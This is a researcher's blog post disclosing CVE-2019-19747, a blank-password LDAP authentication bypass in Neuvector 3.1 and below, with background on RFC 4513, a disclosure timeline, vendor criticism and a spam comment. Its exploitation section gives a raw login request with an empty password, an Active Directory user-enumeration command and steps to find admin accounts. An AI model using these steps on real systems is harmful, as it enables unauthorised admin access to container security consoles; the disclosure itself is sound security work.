CVE-2019-19747

Summary

On 11 December 2019 I discovered that it was possible in Neuvector 3.1 and below to authenticate as a valid AD LDAP user, using a blank password (there is client-side browser validation so send to the endpoint directly or disable the JS validation functions). Additionally, the user role is also returned in the response body from Neuvector making it possible to search for a user who has an “admin” role and thus have admin access to the Neuvector console.

Background

The Lightweight Directory Access Protocol (LDAP) allows for quick data lookups from an LDAP backend server. In order to retrieve information from the LDAP backend server, an LDAP client needs to establish a session with the server. There are different types of sessions, but they are all formed through a bind request to the server.

I’m not an expert on LDAP but it appears there are three general types of sessions supported.

  • An anonymous session – established through an anonymous bind where BOTH the password and the username MUST be blank.
  • An authenticated session – using a simple bind where BOTH the password and the username fields must NOT be blank.

And finally, the one where things get more interesting:

  • An unauthenticated simple bind session where one needs to only pass a valid username WITHOUT a password.

The Vulnerability

In section 5.1.2 of the LDAP RFC (rfc4513) we see the following and it provides insight into the vulnerability with Neuvector:

What the above means for security is that some LDAP clients may misinterpret the LDAP server response. For example, if a user performs a successful unauthenticated simple bind, because a session has been created, the LDAP client assumes the user is an authenticated user and NOT an anonymous user. This means anyone with a valid LDAP username can authenticate and gain access to the application without that user’s password 🤦‍♂️. The RFC explains this below:Furthermore, for companies using MS Active Directory prior to Server 2019 (likely the majority) it is not possible to prevent the vulnerability server side, as one cannot alter this config on the domain controllers (the option does not exist!). This means for most windows environments, it’s up to the LDAP client to enforce validation of the user input (disallowing empty passwords).

CVE-2019-19747

Neuvector allows for authentication through OpenLDAP or Microsoft Active Directory. When using MS AD (I only tested MS AD) Neuvector fails to disallow an empty password string and is thus vulnerable to what we discussed above. The following request provides the user with a valid token:

POST /auth HTTP/1.1
Host: neuvector.some.domain
Connection: close
Content-Length: 35
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/json;charset=UTF-8
{"username":"bobalice","password":""}

Exploitation

Get a list of all active directory usernames:

Get-ADUser -Filter  {(Enabled -eq "true")} | Select-Object SamAccountName

Using the list of usernames Bruteforce for valid status codes to discover valid users:

Use your favourite string manipulation tool or the Length field to look for the admin role in the response body.

{"token":{"server":"abc123","email":"","role":"admin","username":"bobalice","default_password":false,"locale":"en","fullname":"abc123:bobalice","token":"abc"

Because Neuvector provides insight into the vulnerabilities in your container estate – this is gold for attackers wanting to pivot or maintain access as it basically paints a roadmap of which areas are the go to areas for compromise.

Neuvector have released a patch 3.1.1 that fixes the vulnerability. https://docs.neuvector.com:8334/releasenotes/3x

Comments

Neuvector are a security solution, a good one in my opinion so this is obviously not ideal, but before we crucify them, they are made up of humans and succumb to mistakes like the rest of us – let this be a good reminder that these mistakes are more common than we think, none of us are immune and we should not become complacent.

I commend Neuvector for their quick turnaround time in fixing the vulnerability and I am still a big fan of their solution for kubernetes. With that being said – I do have one criticism.

They did seem to downplay the vulnerability slightly and to my knowledge have not sent out an advisory to their clients to upgrade (I am a client and did not receive notice – this makes me sad as i would like to know as soon as possible if a severe vulnerability is discovered in a security product i use). I also got the impression that they thought it had more to do with an AD/server-side misconfiguration and I repeatedly explained that before windows server 2019, it was not possible to make the change server side.

As it stands there are probably Microsoft clients using Neuvector who cannot make the change server side and will remain vulnerable until they upgrade to 3.1.1+. Overall I am still a fan of Neuvector and will continue using them and I hope in future they will develop a security advisory section along with a method of rewarding security researchers for vulnerabilities.

Activity History

Vulnerability discovered and disclosed to the vendor Neuvector on the 11th of December 2019

Neuvector issued a patch with the fix on the 17th of December 2019

Publicly disclosed 20th December 2019

Updates

Neuvector ended up sending out comms to clients on  the 26th of December. In the comms they once again blamed server side “This release fixes a potentially critical vulnerability that arises if an LDAP/AD server is misconfigured to allow unauthenticated (blank password) logins.”

1 Comment CVE-2019-19747

  1. memory

    Hеy there! I’ve been reading your weblog for a whіle now ɑnd finaⅼly got
    the courage to ցo ahead аnd ցive you a shout out from New Ⲥaney Tx!
    Just wanteԀ to mention keep up the fantastic work!

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *